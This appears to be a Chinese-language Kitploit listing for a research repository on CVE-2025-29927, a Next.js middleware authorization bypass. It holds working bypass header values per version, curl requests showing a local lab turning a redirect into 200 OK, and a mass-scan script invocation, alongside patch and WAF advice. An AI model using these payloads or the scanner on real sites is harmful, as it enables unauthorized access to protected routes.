Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-29927 — 关于 CVE-2025-29927 的深入分析与 PoC,该漏洞通过 x-middleware-subrequest 标头绕过 Next.js 中间件授权。包含 Nuclei 模板和一个用于批量扫描的脚本。 | Kitploit
工具/GitHubGitHub/iteride/cve-2025-29927
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubiteride/cve-2025-29927

CVE-2025-29927

关于 CVE-2025-29927 的深入分析与 PoC,该漏洞通过 x-middleware-subrequest 标头绕过 Next.js 中间件授权。包含 Nuclei 模板和一个用于批量扫描的脚本。

查看仓库
111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-29927

简介

本文档介绍了影响 Next.js 框架中 中间件 机制的漏洞 CVE-2025-29927。 Next.js 是 Vercel 开发的基于 React 的应用程序的流行开源框架。它支持服务端渲染、静态生成以及灵活的可用于路由、重定向、安全标头和访问权限检查的中间件系统。

2025 年 3 月,发现了一个与内部子请求的服务端标头处理相关的严重漏洞 CVE-2025-29927。 问题的核心是,在访问控制仅在中间件层实现的应用中,通过在 HTTP 标头 x-middleware-subrequest 中注入特定值,可以 绕过授权检查。如果安全性仅依赖于中间件,攻击者可以访问受限路由或数据。

受影响的 Next.js 版本 及修复版本(根据公开来源和官方资料):

  • 11.1.4 ≤ 版本 < 12.3.5
  • 13.0.0 ≤ 版本 < 13.5.9
  • 14.0.0 ≤ 版本 < 14.2.25
  • 15.0.0 ≤ 版本 < 15.2.3

修复版本可在 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 中获得。

Next.js 在生产环境中被广泛使用;影响中间件层(常用于身份验证/授权和安全策略)的漏洞具有很高的实际风险。


报告目标

逐步分析漏洞并形成完整的研究周期:

收集和整理资料。 系统整理 CVE-2025-29927 相关的公开来源;阐述缺陷本质、触发条件以及已确认的版本/补丁。

确定 CPE 和配置条件。 提供 CPE/版本列表,并描述漏洞可复现的配置(例如,自托管部署和在中间件层进行授权)。

安全演示。 在测试环境中准备可复现的演示(无破坏性操作),确认漏洞在受影响版本中可绕过中间件。

批量检测方法。 描述并实现三种安全方法:

  • nuclei(主动模式,影响最小化),
  • nuclei(被动模式,根据版本/间接特征),
  • 自定义 Python/Go 脚本(多线程主动检测,针对测试主机)。

漏洞本质

middleware

  • 根本原因。 在 Next.js 中,服务端标头 x-middleware-subrequest 用于跟踪内部子请求并防止中间件递归。在受影响的版本中,外部客户端可以注入此标头并设置一个“预期”值——运行时 跳过中间件执行,直接将请求传递给路由处理程序。

  • 标头的作用。 该 x-middleware-subrequest 标头最初是作为内部指示器设计的,用于标记当前 HTTP 请求是由框架本身作为中间子请求发起的,而不是直接来自用户。 它对于 Next.js 内部机制的正确运行是必需的:除了路由之外,该标志还通过“标记”每个调用的中间层来帮助避免无限递归。 但正是这种逻辑导致了意外的安全漏洞:客户端自行添加此标头时,可能会使系统将其请求视为内部请求,从而绕过授权检查。

  • 逻辑演变。

    • 在早期版本中,标头被解释为以冒号分隔的值列表,机制将其与活动中间件的名称/路径进行匹配。
    • 在较新的版本中,添加了深度计数器以防止无限递归;当达到阈值(默认 5)时,中间件也会被跳过。如果标头被构造为“仿佛”子请求链已耗尽限制,则此机制可以被欺骗。

影响

  • 机密性和完整性。 在仅依赖中间件进行访问控制的情况下,未经授权访问受保护的页面或 API;可能通过受保护的端点修改数据。
  • 可用性。 类似 缓存投毒 的副作用可能导致在某些配置中出现不正确的缓存和可用性降级。

CPE 和配置条件

官方 CPE (CPE 2.3)

NVD 的最新记录指定产品为 Vercel Next.js,目标软件为 node.js。对于受影响版本,使用以下配置(版本范围在 NVD 的 CPE 配置中定义):

CPE URI受影响版本范围
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*11.1.4 ≤ v < 12.3.5

注意:CVE 描述中还指出,总体来说“从 11.1.4 到 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3”版本,在满足以下条件时漏洞可复现。

生产环境中的实际条件

  • 访问控制(身份验证/授权)在中间件中实现,并且没有在处理程序/后端中重复。
  • 部署为 自托管(例如 next start、使用 output: 'standalone' 构建)或任何未对外围服务端标头进行过滤的环境中,中间件对入站请求执行。
  • 缺乏丢弃包含 x-middleware-subrequest 的用户请求的外部措施(例如 WAF 规则)。

x-middleware-subrequest 的内部机制

为了防止中间件无限递归,运行时生成并读取服务端标头:

  1. 标头值被解释为以冒号 : 分隔的字符串——得到“子请求”数组。
  2. 然后运行时检查:
    • 当前中间件的名称/路径是否出现在此数组中(在旧版本中会导致通过 NextResponse.next() 立即跳过),
    • 或者递归深度是否已达到限制(在新版本中应用了默认 5 的限制),此时中间件也会被跳过。
  3. 为防止伪造,补丁中添加了一个与当前进程会话相关联的单独 子请求标识符(x-middleware-subrequest-id);如果不匹配,传入的 x-middleware-subrequest 将在服务器端被清除。

利用方法

攻击者向目标 Next.js 应用发送 HTTP 请求,并在其中添加服务端标头 x-middleware-subrequest。 值中指定中间件文件的路径——例如 pages/_middleware、middleware 或 src/middleware。 所需值取决于使用的 Next.js 版本和项目结构。

当此类请求到达应用时,框架的内部逻辑将其视为 内部子请求,并认为中间件层已执行。 因此,通常在中间件中发生的身份验证和授权检查实际上被跳过。


PoC / Exploit

重要: 此材料仅用于在封闭测试环境中检查补丁和模拟风险。 任何对生产基础设施的检查只有在资源所有者许可的情况下才可行。

通用原理

Next.js 使用服务端标头 x-middleware-subrequest 来标记内部子请求并防止中间件递归执行。 处理请求时,标头值按 : 字符分割,并与当前中间件的名称进行比较。 在新版本中,添加了深度限制(MAX_RECURSION_DEPTH,通常为 5)。 如果条件(名称匹配或达到限制)满足,Next.js 跳过中间件 并将请求传递下去。 攻击者可以构造一个正确的标头值,模拟内部子请求。

按版本的利用

1️⃣ 版本低于 12.2:Pages Router 和 _middleware.*

  • 中间件文件命名为 _middleware.js/ts 并位于 pages/ 目录下。
  • 标头值必须与文件路径匹配,例如: x-middleware-subrequest: pages/_middleware

2️⃣ 12.2 – 13.0.0 版本:根目录下 middleware.*

  • 从 12.2 版本开始,文件名中去掉了下划线:文件变为 middleware.js/ts。
  • 它可以位于项目根目录或 /src 目录根目录。
  • 用于绕过中间件的标头:x-middleware-subrequest: middleware 或 x-middleware-subrequest: src/middleware

3️⃣ 13.x 及更新版本:递归深度限制

  • 添加了深度检查:标头值按 : 分割,如果中间件名称重复次数 ≥ 5, Next.js 认为递归条件满足并通过 NextResponse.next() 跳过中间件。
  • 攻击时,标头构造为:x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 或 x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Next.js 15.x 中的特性

在 15.x 版本中,开发人员重新设计了逻辑以防止无限递归调用。 当路径上的中间件触发(例如,/api/*)时,Next.js 获取另一个也会触发同一中间件的 URL。 框架通过 x-middleware-subrequest 标头计数触发次数。 如果调用次数达到设定的阈值(MAX_RECURSION_DEPTH,默认 5),则后续中间件调用被阻止。 攻击者可以利用此行为,预先在标头中指定所需重复次数的值,从而人为达到深度限制——结果中间件被完全跳过。

请求示例

对于旧版本,标头值根据上述变体选择

root@kitploit:~
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

为什么这有效

x-middleware-subrequest 被设计为防止无限递归的内部机制。 但在受影响版本中,缺少对外部请求的过滤:客户端可以伪造标头, 满足跳过条件(名称匹配或达到深度限制), 并直接访问受保护路由的处理程序。

启动测试环境

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev

测试:

(示例基于 Next.js 15.2.2;对于其他版本,请根据 PoC 部分中的表格选择标头值)

  1. 标准请求:
root@kitploit:~
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
  1. 带有 x-middleware-subrequest 标头的请求:
root@kitploit:~
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5

防护建议

  • 更新 Next.js 至少到版本 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3。
  • 如果更新延迟——在 WAF/代理 层 过滤或丢弃 外部标头 x-middleware-subrequest。
  • 在 API 处理程序中重复关键授权检查,而不仅限于中间件。

用于测试的 Nuclei 模板

  • 该模板合并了 被动和主动检测 Next.js 应用。
  • 被动分析标头和重定向以识别 Next.js 的特征和可能的中间件行为。
  • 主动使用精心构造的 X-Middleware-Subrequest 标头测试中间件绕过。
  • 使用多个 payload,提高了发现漏洞的概率——在标准测试条件下约为 60%。

nuclei

⚠️ 注意:该模板仅用于对自己或授权的目标进行测试。未经所有者同意在第三方服务上使用是违法的。

批量测试脚本

  • 脚本支持 多线程,可快速扫描大量服务和路径。
  • 支持通过文件输入目标和路径列表。
root@kitploit:~
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
下载工具
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*
13.0.0 ≤ v < 13.5.9
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*14.0.0 ≤ v < 14.2.25
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*15.0.0 ≤ v < 15.2.3